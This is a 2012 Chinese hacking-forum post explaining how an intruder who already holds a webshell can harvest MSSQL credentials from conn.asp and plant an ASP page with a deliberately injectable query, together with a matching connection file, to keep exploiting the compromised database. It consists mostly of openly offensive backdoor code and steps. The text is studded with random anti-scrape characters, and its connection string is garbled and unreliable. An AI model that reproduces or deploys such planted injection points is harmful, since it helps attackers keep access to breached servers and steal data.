找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2135|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵# g7 M8 J# ?2 u
' Q+ f$ I# m7 ~3 D2 }
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息" V$ T7 {) B9 m3 h

  q6 H4 }7 Z' e: v这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
! h, I1 @: I/ c3 N' }5 ]4 Y
2 G# N3 p; _1 v6 J首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和. B% \+ m6 a6 B. k4 X
( d$ z" J/ R% ^8 t* h
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表8 u, L: z+ b" D" ?
  l% S. U' c. K' b4 F* S' o4 H; K# |" T
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:5 [  ^; }1 C+ [1 h, D
- Z: F- c; Q& d) n2 ~$ H* V& t
程序代码% d1 x  E6 P& k% c4 _
<!--#include file="xx.asp"-->% {1 G9 d7 K1 h7 V1 ?
<%
, b- B9 W, m- o9 t# K/ K, Uset rs=server.createobject("ADODB.recordset")
5 v) I4 e* M) Q4 f; A2 T" g2 k8 wid = request("id")
& f+ Y/ k3 s+ }: E$ G; mstrSQL = "select * from admin where id=" & id' A7 {3 i: C' q0 ~
rs.open strSQL,conn,1,3
  \; e& E. h  ]/ p( G+ Nrs.close& d9 F9 M8 t9 v2 `- {0 J+ {1 ^" w6 y  Q
%>4 [8 j- B, D9 U3 w5 R

. ?7 |4 c' D) |+ j2 X( Q把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
; i8 F' V) ]% u# N; O4 Z5 l) {; o/ k! t5 j: t
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
; a+ y  U( K' Z$ g$ q; n2 d
8 O& Z2 v+ ~& @! h( z. H然后就要构造一个连接数据库的文件了,代码如下:
1 g5 x% K) S& ^' e2 t) z程序代码
; i) X* G( j2 y& ~: N5 ^4 R: c' Q<%        ; M/ S5 j) h1 |9 W( d+ b: D
strSQLServerName = "000.000.000.000"     '服务器名称或地址) j: v, S/ X6 |% e
strSQLDBUserName = "sqlname"         '数据库帐号* y: l5 i% s8 ?* J: a! M; V
strSQLDBPassword = "sqlpass"         '数据库密码
) o4 Y1 x: S0 }strSQLDBName = "sqldataname"           '数据库名称
" e% G5 |" h! r+ c9 RSet conn = Server.CreateObject("ADODB.Connection")
9 X( ?# o. C3 t4 ^: QstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"9 ^. m( k* ~5 F9 C. o3 M
conn.open strCon
8 f% G7 t+ F" z3 X%>
# L* N( U- o1 A
8 K6 {" G" w/ J4 P3 M  ~这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,) J: [/ C! U+ b8 H, \

8 w$ s) S" q' D$ h* Y6 U就这样,正常情况下,就OK了,伪造成功……
* }8 u9 d% q0 V" A+ w2 P
. d8 W  z) _  e3 K& C1 P           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表